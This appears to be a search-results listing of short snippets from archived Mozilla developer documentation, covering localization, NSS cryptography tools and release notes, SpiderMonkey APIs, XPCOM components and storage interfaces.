... /** * get the correct plural form of a word based on the number * * @param anum * the number to decide which plural form to use * @param awords * a semi-colon (;) separated string of words to pick the plural form * @return the appropriate plural form of the word */ string pluralform get(int anum, string awords) here is an example of using this method: // load pluralform and for this example, assume english components.utils.import("resource://gre/modules/pluralform.jsm"); // pluralform.get expects a semi-colon separated list of words let downloads = "download;downloads"; // pretend this number came from somewhere else let num = 10; // display the correct plural form for 10 downloads: "you have 10 downloads.") print("you have " +...
...this is because someone installing the extension on a different locale will be using the strings provided by your default extension locale.
Release phase
you can pull using both, but you can only push through ssh.
... consequently, if you already have a local clone that you pulled using http, you'll need to modify a config file to tell mercurial to push through ssh.
... add the following lines to your ~/.ssh/config file, replacing user@host.domain with your mozilla ldap account name: host hg.mozilla.org user user@host.domain if you have already cloned the remote repository using the http protocol using this command: $ hg clone http://hg.mozilla.org/releases/l10n-central/x-testing then you will need to edit the .hg/hgrc file (inside the x-testing local clone) to tell mercurial to push using ssh.
Localization sign-off reviews
sign-offs are approved using the buttons in the farthest column to the right.
...once they are fixed, push your fix to your repo, attach it to the corresponding bug using the same mercurial revision number as before, and then request another review.
...using these colors helps us to identify potential bugs and approve your latest revision with speed while maintaining critical accuracy.
Localization technical reviews
the technical review process we use for new localizations can be confusing for any trying to start a new localization.
...once they are fixed, push your fix to your repo, attach it to the corresponding bug using the same mercurial revision number as before, and then request another review.
...revisions are approved using the buttons in the furthest column to the right.
Fonts for Mozilla 2.0's MathML engine
furthermore, in accordance with the w3c css2 recommendation on fonts, authors can specify an ordered list of particular fonts which they prefer (using the font-family property of css), with the assurance that mozilla's font engine will hunt for alternate fonts whenever their specified fonts are not found on a particular user's system.
...some mathematical operators are also drawn by using glyphs for larger variants of the character (e.g.
...in general, if the necessary glyphs are not available on the system then mozilla tries to stretch symbols using scale transforms, but that may result in a less pleasant rendering.
MathML Demo: <mtable> - tables and matrices
mathml doesn't specify how to only display certain sides of the table border, as in "|rcl", but these can be obtained in mozilla using the 'border' property of css, e.g., "|rcl" can be achieved with the css declaration "mtable { border-left: solid thin }".
... math axis test, using externally aligned arrays inside symmetric fences.
... and making floating elements do a multiplication such as the following one which is anchored at a baseline is made simple by using align="baseline1" on both tables [ a b c d ] [ a b c d ] to multiply a matrix a by a vector x, each row of the matrix has to be multiplied to the vector.
Memory reporting
this is a good thing, because computing sizes analytically doesn't count slop, and it is much more error-prone than using moz_malloc_usable_size.
...when using a struct, its constructor is the obvious place for this.
... occasionally you do want to compute sizes analytically instead of using moz_malloc_size_of.
Scroll-linked effects
instead, using the css snap-points property will allow the browser to run the animation asynchronously, providing a smooth visual effect to the user.
... other effects in many cases, scroll-linked effects can be reimplemented using css and made to run on the compositor thread.
...see the asynchronous scrolling in firefox blog post for some more examples of effects that can be implemented using css to avoid jank.
Preferences system
using this system it is possible to create preferences windows that display and operate appropriately on various platforms (windows, macos x and gnome).
...you should also be careful to specify the width of the window (in em) as appropriate using the preprocessor for each targeted platform, as well as the height (in em) for platforms where the window size does not change as the selected panel is changed (e.g.
... not using "toolbar" will cause the preferences dialog to only display one preference pane.
Preferences
the preference system makes it possible to store data for mozilla applications using a key/value pairing system.
... documentation preferences system an introduction to using the preference system in mozilla.
... using preferences from application code firefox 6 introduced static functions for accessing preferences efficiently from within application code.
L20n
"about {{ brandname }}"> here is the same string being provided in slovenian: <brandname { nominative: "firefox", genitive: "firefoxa", dative: "firefoxu", accusative: "firefox", locative: "firefoxu", instrumental: "firefoxom" }> <about "o {{ brandname.locative }}"> for developers documentation for developers wanting to implement localization functionality on their web apps using l20n.
... learn the l20n syntax how to naturally localize applications using l20n.
... localization use-cases how to naturally localize applications using l20n.
Introduction to NSPR
nspr threads are scheduled in two separate domains: local threads are scheduled within a process only and are handled entirely by nspr, either by completely emulating threads on each host operating system (os) that doesn't support threads, or by using the threading facilities of each host os that does support threads to emulate a relatively large number of local threads by using a relatively small number of native threads.
...when the changes have been completed, the thread notifies the condition associated with the data and exits the monitor using pr_notifycondvar.
...another thread could target the waiting thread and issue a pr_interrupt, causing a waiting thread to resume.
Named Shared Memory
shared memory allows multiple processes to access one or more common shared memory regions, using it as an interprocess communication channel.
... shared memory protocol named shared memory functions shared memory protocol using named shared memory functions pr_opensharedmemory creates the shared memory segment, if it does not already exist, or opens a connection with the existing shared memory segment if it already exists.
...pr_opensharedmemory creates file using the name passed in.
Building NSS
build build nss using our build script: nss/build.sh this builds both nspr and nss.
... run the standard suite by: host=localhost domsuf=localdomain use_64=1 nss/tests/all.sh unit test configuration nss tests are configured using environment variables.
... remove the use_64=1 override if using a 32-bit build.
NSS Key Log Format
note: starting with nss 3.24 (used by firefox 48 and 49 only), the sslkeylogfile approach is disabled by default for optimized builds using the makefile (those using gyp via build.sh are not affected).
... distributors can re-enable it at compile time though (using the nss_allow_sslkeylogfile=1 make variable) which is done for the official firefox binaries.
... exporter_secret: the hex-encoded exporter secret (for tls 1.3, used for 1-rtt keys in older quic drafts) the rsa form allows ciphersuites using rsa key-agreement to be logged and was the first form supported by wireshark 1.6.0.
NSS 3.12.5 release_notes
this default setting can also be changed within the application by using the following existing api functions: secstatus ssl_optionset(prfiledesc *fd, print32 option, prbool on) secstatus ssl_optionsetdefault(print32 option, prbool on) there is now a new value for "option", which is: ssl_enable_renegotiation the corresponding new values for ssl_enable_renegotiation are: ssl_renegotiate_never: never renegotiate at all (default).
...the caller of pk11_readrawattribute should free the data buffer pointed to by item using a secitem_freeitem(item, pr_false) or port_free(item->data) call.
... this document was generated by genma teruaki on november 28, 2010 using texi2html 1.82.
NSS_3.12_release_notes.html
vfy_verifydigestdirect (see cryptohi.h) vfy_verifydigestwithalgorithmid (see cryptohi.h) new macros for camellia support (see blapit.h): nss_camellia nss_camellia_cbc camellia_block_size new macros for rsa (see blapit.h): rsa_max_modulus_bits rsa_max_exponent_bits new macros in certt.h: x.509 v3 ku_encipher_only cert_max_serial_number_bytes cert_max_dn_bytes pkix cert_rev_m_do_not_test_using_this_method cert_rev_m_test_using_this_method cert_rev_m_allow_network_fetching cert_rev_m_forbid_network_fetching cert_rev_m_allow_implicit_default_source cert_rev_m_ignore_implicit_default_source cert_rev_m_skip_test_on_missing_source cert_rev_m_require_info_on_missing_source cert_rev_m_ignore_missing_fresh_info cert_rev_m_fail_on_missing_fresh_info cert_rev_m_stop_testing_on_fresh_info cert_re...
...bug 385151: remove the link time dependency from nss to softoken bug 387892: add entrust root ca certificate(s) to nss bug 433386: when system clock is off by more than two days, oscp check fails, can result in crash if user tries to view certificate [[@ secitem_compareitem_util] [[@ memcmp] bug 396256: certutil and pp do not print all the generalnames in a crldp extension bug 398019: correct confusing and erroneous comments in der_asciitotime bug 422866: vfychain -pp command crashes in nss_shutdown bug 345779: useless assignment statements in ec_gf2m_pt_mul_mont bug 349011: please stop exporting these crmf_ symbols bug 397178: crash when entering chrome://pippki/content/resetpassword.xul in url bar bug 403822: pkix_pl_ocsprequest_create can leave some members uninitialized bug 403910: cert_fin...
...bug 384926: libpkix build problems bug 389411: mingw build error - undefined reference to `_imp__pkix_errornames' bug 389904: avoid multiple decoding/encoding while creating and using pkix_pl_x500name bug 390209: pkix aia manager tries to get certs using aia url with ocsp access method bug 390233: umbrella bug for libpkix cert validation failures discovered from running vfyserv bug 390499: libpkix does not check cached cert chain for revocation bug 390502: libpkix fails cert validation when no valid crl (nist validation policy is always enforced) bug 390530: libpkix does not s...
NSS 3.14.2 release notes
the documentation is in the docbook format and can be rendered as html and unix-style manual pages using an optional build target.
... bug 816853 - when using libpkix for certificate validation, applications may now supply additional application-defined trust anchors to be used in addition to those from loaded security tokens, rather than as an alternative to.
... (https://bugzilla.mozilla.org/show_bug.cgi?id=816853) bug 772144 - basic support for running nss test suites on android devices.this is currently limited to running tests from a linux host machine using an ssh connection.
NSS 3.14.3 release notes
however, unlike pk11_sign, which uses a seckeyprivatekey, pk11_signwithsymkey performs the signature using a symmetric key, such as commonly used for generating macs.
... ckm_nss_ssl3_mac_constant_time - constant-time mac operation for use when verifying a padded, mac-then-encrypted block of data using the sslv3 mac.
...this attack is mitigated when using nss 3.14.3 with an nss cryptographic module ("softoken") version 3.14.3 or later.
NSS 3.34 release notes
using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing.
... when using certutil, to set an inacceptable password in fips mode, a correct explanation of acceptable passwords will be printed.
... certificates with rsa-pss or rsa-pkcs#1v1.5 keys can be used to create an rsa-pss signature on a certificate, using the --pss-sign argument to certutil.
NSS 3.38 release notes
when creating a certificate request (csr) using certutil -r, an existing orphan private key can be reused.
...the available orphan key ids can be displayed using command certutil -k.
... when using certutil -o to print the chain for a given certificate nickname, the new parameter --simple-self-signed may be provided, which can avoid ambiguous output in some scenarios.
NSS Developer Tutorial
the proper use of tabs has often been confusing for new nss developers, so in nss/lib/ssl, we're gradually removing the use of tabs.
... variadic macro arguments are permitted, but their use should be limited to using __va_args__.
... check with nss-dev@ before using a language feature not already used, if you are uncertain.
NSS Sample Code sample2
nss sample code 2: symmetric encryption /* example code to illustrate des enccryption/decryption using nss.
...we use pk11_originunwrap * to indicate the key was unwrapped - which is what should be done * normally anyway - using raw keys isn't a good idea */ symkey = pk11_importsymkey(slot, ciphermech, pk11_originunwrap, cka_encrypt, &keyitem, null); if (symkey == null) { fprintf(stderr, "failure to import key into nss (err %d)\n", pr_geterror()); goto out; } /* set up the pkcs11 encryption paramters.
... * when not using cbc mode, ivitem.data and ivitem.len can be 0, or you * can simply pass null for the iv parameter in pk11_paramfromiv func */ ivitem.type = sibuffer; ivitem.data = giv; ivitem.len = sizeof(giv); secparam = pk11_paramfromiv(ciphermech, &ivitem); if (secparam == null) { fprintf(stderr, "failure to set up pkcs11 param (err %d)\n", pr_geterror()); goto out; } /* sample data we'll encrypt and decrypt */ strcpy(data, "encrypt me!"); fprintf(stderr, "clear data: %s\n", data); /* ========================= start section ============================= */ /* if using the the same key and iv over and over, stuff before this */ /* section and after this section needs to be done only once */ /* encrypt data into buf1...
NSS Sample Code sample6
* in a real app, this function should obtain the password using secure means * such as prompting an operator, or retrieving it over a secure communication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; /* initialize nss */ pk11_setpasswordfunc(passwdcb); /* the nss db must be initialized read-write since we'll be creating * keys in it.
...t run on a fresh db, * should fail on successive runs because key with that id already exists */ genkey(2); /* generate a key with id 1 - this will fail because key with that id * already exists */ genkey(1); } void genkey(int id) { pk11slotinfo* slot = null; pk11symkey* key = null; secitem keyiditem; int keyid[1]; ck_mechanism_type ciphermech; /* using ckm_aes_cbc_pad mechanism for example */ ciphermech = ckm_aes_cbc_pad; slot = pk11_getinternalkeyslot(); /* slot = pk11_getbestslot(ciphermech, null); didn't work.
... * since we're using aes in this example, we're specifying * one of the valid keysizes (16, 24, 32) */ key = pk11_tokenkeygen(slot, ciphermech, 0, 32 /*keysize*/, &keyiditem, pr_true, 0); if (key == null) { fprintf(stderr, "pk11_tokenkeygen failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return; } fprintf(stderr, "key length of generated key is ...
Notes on TLS - SSL 3.0 Intolerant Servers
if you are using these old versions, please update to the latest netscape or mozilla versions.
... firefox 2 and later starting with firefox 2, support for ssl 2.0 has been disabled by default; unless it is expressly re-enabled by the user using about:config.
... if you have questions concerning netscape browsers and problem servers, please contact us using the feedback address at the top of this page.
PKCS11 module installation
extensions can programmatically manage pkcs #11 modules using the nsipkcs11 programming interface.
... using the firefox preferences to install pkcs #11 modules save the pkcs #11 module to a permanent location on your local computer open the firefox preferences dialog.
... provisioning pkcs #11 modules using the pkcs11 api starting with firefox 58, extensions can use the pkcs11 browser extension api to enumerate pkcs #11 modules and make them accessible to the browser as sources of keys and certificates.
NSS_Initialize
this is necessary if another piece of code is using the same pkcs#11 modules that nss is accessing without going through nss, for example, the java sunpkcs11 provider.
...this is necessary if another piece of code is using the same pkcs#11 modules that nss is accessing without going through nss, for example, java sunpkcs11 provider.
...this may be necessary in order to ensure continuous operation and proper shutdown sequence if another piece of code is using the same pkcs#11 modules that nss is accessing without going through nss, for example, java sunpkcs11 provider.
NSS tools : crlutil
for information on security module database management, see using the security module database tool.
... for information on certificate and key database management, see using the certificate database tool.
... usage the certificate revocation list management tool's capabilities are grouped as follows, using these combinations of options and arguments.
NSS tools : pk12util
enter new password: re-enter password: enter password for pkcs12 file: pk12util: pkcs12 import successful exporting keys and certificates using the pk12util command to export certificates and keys requires both the name of the certificate to extract from the database (-n) and the pkcs#12-formatted output file to write to.
...if no algorithm is specified, the tool defaults to using pkcs12 v2 pbe with sha1 and 3key triple des-cbc for private key encryption.
...using the sqlite databases must be manually specified by using the sql: prefix with the given security directory.
gtstd.html
the instructions that follow assume you are using the certificate database tool to set up both the server and client databases for testing purposes.
...the nss teams strongly recommends that users should not attempt to operate a ca for use in mission critical production business uses using nss's command line tools, nor with the simple command line test tools that come with any package of cryptographic libraries.
... for complete information about the command-line options used in the examples that follow, see using the certificate database tool.
NSS Tools ssltap
using the ssl debugging tool (ssltap) newsgroup: mozilla.dev.tech.crypto the ssl debugging tool is an ssl-aware command-line proxy.
...if you are using the default badcert callback, you can still connect through a dialog.
... if you are not using the default badcert callback, the one you supply must allow for this possibility.
NSS tools : crlutil
MozillaProjectsNSStoolscrlutil
for information on security module database management, see using the security module database tool.
... for information on certificate and key database management, see using the certificate database tool.
... usage the certificate revocation list management tool's capabilities are grouped as follows, using these combinations of options and arguments.
NSS tools : pk12util
enter new password: re-enter password: enter password for pkcs12 file: pk12util: pkcs12 import successful exporting keys and certificates using the pk12util command to export certificates and keys requires both the name of the certificate to extract from the database (-n) and the pkcs#12-formatted output file to write to.
...if no algorithm is specified, the tool defaults to using pkcs12 v2 pbe with sha1 and 3key triple des-cbc for private key encryption.
...using the sqlite databases must be manually specified by using the sql: prefix with the given security directory.
NSS tools : signver
MozillaProjectsNSStoolssignver
synopsis signtool -a | -v -d directory [-a] [-i input_file] [-o output_file] [-s signature_file] [-v] description the signature verification tool, signver, is a simple command-line utility that unpacks a base-64-encoded pkcs#7 signed object and verifies the digital signature using standard cryptographic techniques.
... using the -o option prints the signature file information to the given output file rather than stdout.
...using the sqlite databases must be manually specified by using the sql: prefix with the given security directory.
Necko Architecture
although the protocol handler creates channels, protocol interpretation doesn't begin until the user initiates the transaction using the nsichannel api.
... receiving data & nsistreamlistener you can read or write, from or to a channel using either the synchronous api, or the asynchronous api.
... if you want to move data asynchronously you need to be able to receive callbacks using an implementation of nsistreamlistener.
Pork Tool Development
replacement for the "renamer" tool, a diff file is generated as the ast is traversed, using the visitor pattern.
... the diff file is generated using the "patcher" class.
... macro expansion this section refers to macro expansion when using mcpp (see installing pork).
Rhino and BSF
it provides a framework for using a number of scripting languages with java.
...see xalan-java extensions for more information on adding javascript to xsl and the description of the optional script task in the apache ant manual for using scripting in ant build files.
... using bsf with rhino now that the apache jakarta bean scripting framework (bsf), version 2.4.0, has been officially released, you can use rhino easily with bsf.
How to embed the JavaScript engine
here are sample mac and linux command lines (where <objdir> is the directory where spidermonkey was built): # if you're using debug build of spidermonkey, you need -ddebug in addition to the command below.
... # if you're using version other than spidermonkey 31, please change -lmozjs-xx to your version.
...instead use something like c:\mozjs-31.2.0 compile spidermonkey using the build instructions at spidermonkey build documentation.
Self-hosted builtins in SpiderMonkey
most importantly, it's possible to invoke any function within the scope of any object using the syntax callfunction(fun, receiver, ...args) (or callcontentfunction, see below), which causes fun to be called within the scope of receiver with ...args as its arguments.
...using the same mechanism, c++-implemented helper functions are made available to self-hosted code.
... to add a self-hosted function as a method to a host object, add it to that host object's jsfunctionspec array using the js_self_hosted_fn macro.
SpiderMonkey Internals
interpreter like many portable interpreters, spidermonkey's interpreter is mainly a single, tremendously long function that steps through the bytecode one instruction at a time, using a switch statement (or faster alternative, depending on the compiler) to jump to the appropriate chunk of code for the current instruction.
... standard library the methods for arrays, booleans, dates, functions, numbers, and strings are implemented using the js api.
... if (eval(sumofdivisors[divisor]) == divisor) { print("" + divisor + " = " + sumofdivisors[divisor]); } } delete sumofdivisors; print("that's all."); } the line number to pc and back mappings can be tested using the js program with the following script: load("perfect.js"); print(perfect); dis(perfect); print(); for (var ln = 0; ln <= 40; ln++) { var pc = line2pc(perfect, ln); var ln2 = pc2line(perfect, pc); print("\tline " + ln + " => pc " + pc + " => line " + ln2); } the result of the for loop over lines 0 to 40 inclusive is: line 0 => pc 0 => line 16 line 1 => pc 0 => line 16 line 2 => ...
JSPropertyOp
getters and setters when a jsapi application creates a property on an object (for example, using js_defineproperty or js_defineproperties) it can specify getter and setter callbacks for the new property.
...the getter callback is called each time javascript code accesses the property's value using the syntax obj.prop or obj[propname].
...the setter callback is called each time javascript code assigns to the property using any assignment operator (=, +=, etc.) or the ++ or -- operators.
JSReserveSlotsOp
try to avoid using it.
... the optional jsclass.reserveslots hook allows a class to make computed per-instance object slots reservations, in addition to or instead of using jsclass_has_reserved_slots(n) in the jsclass.flags initializer to reserve a constant-per-class number of slots.
... implementations of this hook should return the number of slots to reserve, not including any reserved by using jsclass_has_reserved_slots(n) in jsclass.flags.
JS_DefaultValue
try to avoid using it.
... this article covers features introduced in spidermonkey 1.8.6 converts a javascript object to a primitive value, using the semantics of that object's internal [[defaultvalue]] hook.
... description js_defaultvalue converts a javascript object, obj, to a primitive value using that object's [[defaultvalue]] hook.
JS_EnterLocalRootScope
try to avoid using it.
...calling js_enterlocalrootscope and js_leavelocalrootscope around the body of the native hook protects each object, double, and string created using the same jscontext from gc.
... for example: jsbool my_getproperty(jscontext *cx, jsobject *obj, jsval id, jsval *vp) { jsbool ok; if (!js_enterlocalrootscope(cx)) return js_false; // this function doesn't need to bother rooting any new objects, // strings, or doubles it creates using cx.
JS_NewDoubleValue
try to avoid using it.
... the result is subject to garbage collection until you protect against it using a local root, an object property, or the js_addroot function.
... this can be avoided by using the address of a rooted variable as rval.
JS_NewScriptObject
try to avoid using it.
...once you have created a script, you should immediately ensure that its script object is reachable (perhaps by using js_addroot or js_enterlocalrootscope).
... "js_newscriptobject" suggests that the script object is freshly allocated; this was the case in older versions of the api, but now the script object is allocated along with the jsscript itself.) (some temporary scripts used internally by spidermonkey do not have script objects allocated for them; such scripts are not accessible via jsapi.) see also the jsapi user guide contains example code using compiled scripts.
JS_PushArguments
try to avoid using it.
... this function also takes in consideration any additional custom types defined in cx using js_addargumentformatter.
...the application must call js_poparguments using the supplied markp stack pointer when done with this stack frame, to free the memory and unroot the jsvals.
JS_SetBranchCallback
try to avoid using it.
...this is guaranteed to be non-null, unless the jsoption_native_branch_callback option has been enabled for the context cx using js_setoptions().
... if the callback raises an exception using js_setpendingexception() and returns js_false, then the javascript engine propagates the exception to the script that was executing at the time.
JS_SetFunctionCallback
try to avoid using it.
...using this function may have a significant performance impact.
... note: this method is only available if moz_trace_jscalls was defined at compile time using --enable-trace-jscalls.
JS_SetOperationCallback
try to avoid using it.
... description these functions allow setting an operation callback that will be called from the js thread some time after any thread triggered the callback using js_triggeroperationcallback.
... js_triggeroperationcallback triggers a callback set using js_setoperationcallback.
JS_SetParent
try to avoid using it.
... applications can get an object's parent using js_getparent.
... scripts can determine an object's parent by using the __parent__ property, but scripts cannot assign to the __parent__ property.
JS_ValueToString
try to avoid using it.
...otherwise the result is a decimal representation of the number, possibly using exponential notation.
...protect it using a local root, an object property, or the js_addroot function.
Split object
programs other than mozilla that embed spidermonkey should avoid using split objects.
...this makes the problem resistant to a wrapper-based approach.) older versions of firefox accomplished this by blowing away all window properties every time a user navigated to another page, then reusing the window.
...(several objects, such as window.location and window.navigator, are intentionally parented to the outer window object using such apis.) to enforce this rule: apis that allow the caller to pass a scope object always check that object first and fail if any outer objects are on its scope chain.
TPS Tests
set up an environment and run a test to run tps, you should create a new firefox account using a restmail.net email address (strictly speaking, restmail isn't required, but it will allow tps to automatically do account confirmation steps for you.
...un all tps tests listed in services/sync/tests/tps/all_tests.json an example on osx, for running just the test_sync.js testfile against a locally built firefox (where the mozconfig set the objdir to obj-ff-artifact): runtps --debug --testfile test_sync.js --binary obj-ff-artifact/dist/nightly.app/contents/macos/firefox running tps against stage, or dev fxa tps can be configured using the $tps_venv_path/config.json file.
... using this technique in conjunction with aboutsync is helpful.
Zest usecase: Reporting Security Vulnerabilities to Developers
when security teams find vulnerabilities they typically describe them to developers using words, for example in a pdf or via a bug tracker.
...ideally security engineers will be able to use their favourite security tools to create zest scripts while developers will be able to rerun those scripts using the tools that they are familiar with.
... in this case the sequence of events could be: the security team discovers a vulnerability using specialist security tools they use those tools to create a zest script which reproduces the problem they hand the script over to the developer the developer adjusts the script to match their local environment they run the script and see the vulnerability they fix the vulnerability they rerun the script to check that the vulnerability is fixed the fix is applied to the system that the security team is testing the security team rerun the script as an initial check they then perform any manual testing they think is necessary note that the developers could also include the script in the regression tests to make sure that it doesnt reoccur.
Handling Mozilla Security Bugs
full information about security bugs will be restricted to a known group of people, using the bugzilla access control restrictions described above.
...we reserve the right to cap the membership at some reasonable level, either by refusing new applications or, if necessary and appropriate, by removing existing members of the security bug group to make room for new ones.
...the goals of this warning are: to inform mozilla users and testers of potential security risks in the versions they are using, and what can be done to mitigate those risks.
Animated PNG graphics
MozillaTechAPNG
apng-aware png editors should restore them to correct order using the sequence numbers.
... 1 apng_blend_op_over the frame should be composited onto the output buffer based on its alpha, using a simple over operation as described in the alpha channel processing section of the extensions to the png specification, version 1.2.0.
... an application (open source) using the mozilla encoder to assemble apngs available here: http://littlesvr.ca/apng/apngedit.html see also portable network graphics (png) specification (second edition) extensions to the png specification, version 1.2.0 graphics interchange format 89a ...
Places utilities for JavaScript
placesflavors generic_view_drop_types methods createfixeduri nsiuri createfixeduri(string aspec) takes in a spec and returns a valid uri based on it using the nsiurifixup service.
...using the functions can save you some implementation work.
...owser/annotation-service;1"] .getservice(components.interfaces.nsiannotationservice); try { var names = annotationservice.getpageannotationnames(uri); } catch(e) { // no annotations } var annotations = new array(); for(var i in names) { try { annotations.push(annotationservice.getpageannotation(uri, names[i])); } catch(e) { // this shouldn't happen } } the code using placesutils collapses a bit to: var annotations = placesutils.getannotationsforuri(uri); saving you a bit of clumsy code and leaving mozilla to make sure everything is written correctly.
Bundling multiple binary components
this means using something like loadlibrary / getprocaddress / freelibrary on windows.
... stub loader this approach involves using a stub loader component.
... the real components are manually loaded and registered using the stub ("krealcomponent" in the sample).
Building the WebLock UI
in this tutorial, focusing as it is on the weblock functionality (rather than the ui), we'll assume the strings we get from the ui itself are urls we actually want to write to the white list: function addthissite() { var tf = document.getelementbyid("dialog.input"); // weblock is global and declared above weblock.addsite(tf.value); } this javascript function can be called directly from the xul widget, where the in...
... in using xpcom components you saw how xpcom objects are reflected into the interface layer as javascript objects.
...this tutorial makes use of only two different states, but you can further customize the look of the weblock using the three images if you wish.) since the presentation of the weblock manager dialog itself doesn't require any special styles, these are all the rules you need in the weblock.css.
Creating the Component Code
using xpcom utilities to make things easier shows some simpler and more elegant ways to create an xpcom component using generic macros, and this chapter is more about learning the basics.
...they define the module and factory interfaces, and they contain a couple of important macros as well (see the following chapter for information about using these macros).
...the variable kifactoryiid, for example, provides methods like equals() that can be used to facilitate comparisons in the code, as in the following example from the mozilla source: using class methods to handle identifiers if (aiid.equals(ns_get_iid(nsisupports))) { *ainstanceptr = (void*)(nsisupports*)this; ns_addref_this(); return ns_ok; } finally, sample_cid is an example of a cid that uniquely identifies the component.
Setting up the Gecko SDK
assuming you are using the example location for your project, these paths are the following: c:\gecko-sdk\embedstring\include c:\gecko-sdk\xpcom\include c:\gecko-sdk\nspr\include c:\gecko-sdk\string\include under the c++ language category, disable exception handling.
...e complist.dat file in your profile) regxpcom -x "c:\program files (x86)\mozilla firefox\" -c "c:\users\<user>\appdata\roaming\mozilla\firefox\profiles\<profile>\compreg.dat" -d "c:\users\<user>\appdata\roaming\mozilla\firefox\profiles\<profile>\xpti.dat" "c:\users\<user>\appdata\roaming\mozilla\firefox\profiles\<profile>\extensions\bob@george.com\cspecialthing.dll" now if you start up firefox using that profile, you should have your new component installed.
... if your not using gcc remove this line and add # #include "mozilla-config.h" to each of your .cpp files.
Creating XPCOM components
conventions acknowledgements an overview of xpcom the xpcom solution gecko components interfaces interfaces and encapsulation the nsisupports base interface xpcom identifiers cid contract id factories xpidl and type libraries xpcom services xpcom types method types reference counting status codes variable mappings common xpcom error codes using xpcom components component examples cookie manager the webbrowserfind component the weblock component component use in mozilla finding mozilla components using xpcom components in your cpp xpconnect: using xpcom components from script component internals creating components in cpp xpcom initialization xpcom registry manifests registration methods in xpcom ...
... xpcom string classes creating the component code what we'll be working on component registration the regxpcom program registration alternatives overview of the weblock module source digging in: required includes and constants identifiers in xpcom coding for the registration process the registration methods creating an instance of your component weblock1.cpp using xpcom utilities to make things easier xpcom macros generic xpcom module macros common implementation macros declaration macros weblock2.cpp string classes in xpcom using strings nsembedstring and nsembedcstring smart pointers starting weblock getting called at startup registering for notifications getting access to the category manager providing acces...
...terface in xpidl the xpidl syntax scriptable interfaces subclassing nsisupports the web locking interface implementing weblock declaration macros representing return values in xpcom xpidl code generation getting the weblock service from a client implementing the iweblock interface the directory service modifying paths with nsifile manipulating files with nsifile using nsilocalfile for reading data processing the white list data iweblock method by method lock and unlock addsite removesite setsites getnext getsites hasmoreelements finishing the component using frozen interfaces copying interfaces into your build environment implementing the nsicontentpolicy interface receiving notifications implementing the nsiconten...
Receiving startup notifications
receiving startup notifications prior to gecko 2.0 (firefox 4) to receive startup notifications, one needs to register with the "app-startup" category using nsicategorymanager; having done so, the component will receive these startup notifications, including: xpcom-startup sent when xpcom finishes starting up.
...the category manager, simply call its nsicategorymanager.addcategoryentry() method: categorymanager->addcategoryentry(appstartup_category, "mycomponentname", "contract-id", pr_true, pr_true, getter_copies(previous)); this causes your component to be instantiated using nsicomponentmanager.createinstance().
...o be started as a service, prepend "service," to the contract id: categorymanager->addcategoryentry(appstartup_category, "mycomponentname", "service,contract-id", pr_true, pr_true, getter_copies(previous)); with "service," specified, the component is instantiated using nsicomponentmanager.getservice().
XPCOM Stream Guide
MozillaTechXPCOMGuideStreams
using streams in c++ using streams in javascript input streams input streams are not scriptable - you cannot directly call .read() on them, for example.
... this is also a synchronous (blocking) operation, so if you're in javascript, consider using netutil.jsm as described below.
... this can mean if you have characters beyond ascii code 255, you risk losing data using nsstringstream, for example.
Interfacing with the XPCOM cycle collector
it does not suspect any pointers by default; objects must suspect themselves, typically by using an nscyclecollectingautorefcnt rather than a nsautorefcnt.
... how to make your classes participate the interface between the cycle collector and your classes can be accessed directly using the contents of xpcom/base/nscyclecollector.h, but there are convenience macros for annotating your classes in xpcom/glue/nscyclecollectionparticipant.h that are much easier to use.
...this is the same as for the jsobject case, but using the ns_impl_cycle_collection_trace_jsval_member_callback macro: ns_impl_cycle_collection_trace_begin(nsfoo) ...
Components.classes
note that components.classes reflects only those component classes that have been previously installed and registered with the component manager using contractids.
... the properties of the components.classes object can be enumerated using a for...in loop.
...you still have to provide the interface name each time you create an instance, which is not necessary when using components.constructor.
Components.interfaces
the properties of the components.interfaces object can be enumerated using a for...in loop.
...you can retrieve an interface object using: var iface = components.interfaces.nsisupportsarray; this will return you the interface object for the nsisupportsarray interface.
...for example, assume we have the following interface declaration: interface nsifoo : nsisupports { const pruint32 myflag = 5; }; the constant myflag can then be accessed using var myflag = components.interfaces.nsifoo.myflag; ...
Components.isSuccessCode
however, if you are using asynchronous apis, it may be essential.
... examples checking whether copying a stream's data succeeded the following example demonstrates copying data from a buffered nsiinputstream to an nsioutputstream, checking for whether the copy succeeded using components.issuccesscode().
... note: nsiasyncstreamcopier.init() has changed in gecko 1.9.2, omit last 2 boolean parameters if you're using gecko 1.9.1 and earlier.
xpcshell
it should be executed under the window command prompt source_directory/obj-xxxxx/dist/bin> xpcshell.exe using the latest version of javascript at present, xpcshell doesn't use the latest version of javascript, so newer language features, such as the let statement introduced in javascript 1.7, are not available.
...js> see also howto for common problems in writing xpcshell scripts, e.g., doing async network calls or using js modules.
... read xpconnect:using components to get started with that.
IAccessibleTable
refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
...refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
...refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
mozIStorageService
note: you should only access the profile database from the main thread since other callers may also be using it.
... openunshareddatabase() opens a database connection to the specified file without using a shared cache.
...if cache contention is expected, for instance when operating on a database from multiple threads, using unshared connections may be a performance win.
mozIStorageStatement
this must be called before reusing the statement.
... executeasync() starts the execution of a query asynchronously using the currently bound parameters.
...row data may be accessed using mozistoragevaluearray methods on the statement.
mozIStorageVacuumParticipant
the vacuum manager will try to correct the page size when the browser is idle, using this value as a target.
...note: if the database is using the wal journal node and the current page size is not the expected one, the journal node will be changed to truncate because wal doesn't allow page size changes.
...once you receive this notification, you should avoid using the database until onendvacuum() is called.
nsIAuthPrompt2
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is usually acquired using getinterface on notification callbacks or similar.
... if the user closes the dialog using a cancel button or similar, the callback's nsiauthpromptcallback.onauthcancelled() method must be called.
...true, authentication can proceed using the values in the authinfo object.
nsICacheService
nsicachesession createsession( in string clientid, in nscachestoragepolicy storagepolicy, in boolean streambased ); parameters clientid specifies the name of the client using the cache.
...try to avoid using it.
...the offline cache lets clients accumulate entries in a temporary client and merge them in as a group using nsiofflinecachesession.mergetemporaryclient().
nsIDOMFontFace
it's returned in a list you can get using inidomutils.getusedfontfaces().
... fromlanguageprefs boolean indicates whether or not the font was located using language preferences.
... attributes only available when specified with @font-face these attributes only have meaningful values when the font is a user font defined using @font-face.
nsIEditorSpellCheck
